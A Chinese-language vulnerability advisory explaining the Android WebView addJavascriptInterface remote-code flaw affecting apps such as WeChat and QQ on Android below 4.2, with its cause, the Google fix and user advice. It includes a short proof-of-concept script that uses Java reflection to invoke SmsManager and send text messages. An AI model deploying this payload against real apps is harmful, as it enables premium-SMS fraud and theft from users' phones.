Android WebView掛馬漏洞–各大廠商紛紛落馬

一、漏洞描述

 

    近期,微信等多款安卓流行應用曝出高危掛馬漏洞:隻要點擊好友消息或朋友圈中的一條網址,手機就會自動執行黑客指令,出現被安裝惡意扣費軟件、向好友發送欺詐短信、通訊錄和短信被竊取等嚴重後果。在烏雲漏洞平臺上,包括安卓版微信、QQ、騰訊微博、QQ瀏覽器、快播、百度瀏覽器、金山瀏覽器等大批應用均被曝光同類型漏洞。

 

二、影響版本

 

   Android系統版本低於4.2

 

三、漏洞原理

 

   漏洞點:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

   漏洞觸發條件:

        1、使用WebView.addJavascriptInterface方法註冊可供javascript調用的java對象。

        2、使用WebView加載外部網頁。

        3、Android系統版本低於4.2

   漏洞原因:

        Android系統通過WebView.addJavascriptInterface方法註冊可供javascript調用的java對象,以用於增強javascript的功能。但是系統並沒有對註冊JAVA類的方法調用的限制。導致攻擊者可以利用反射機制調用未註冊的其它任何JAVA類,最終導致javascript能力的無限增強。攻擊者利用該漏洞可以根據客戶端能力為所欲為。

 

       

 

 四、POC代碼

 

         我們利用該漏洞調用SmsManager發送短信(被攻擊APK要有短信發送權限)

         WebView webview = new WebView(context);

         WebSettings webset= webview.getSettings();

         webset.setJavaScriptEnabled(true);

         webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

         利用該漏洞的外部javascript腳本:

         <script>

               var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

               obj_smsManager.sendTextMessage("159********",null,"test",null,null);

         </script>

 

    出於安全考慮,為瞭防止Java層的函數被隨便調用,Google在4.2版本之後,規定允許被調用的函數必須以@JavascriptInterface進行註解,所以如果某應用依賴的API Level為17或者以上,就不會受該問題的影響(註:Android 4.2中API Level小於17的應用也會受影響)。在各應用廠商修復該問題期間,我們建議用戶暫時使用系統自帶的瀏覽器訪問網頁,並且不要訪問社交應用中陌生人發來的鏈接。

 

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *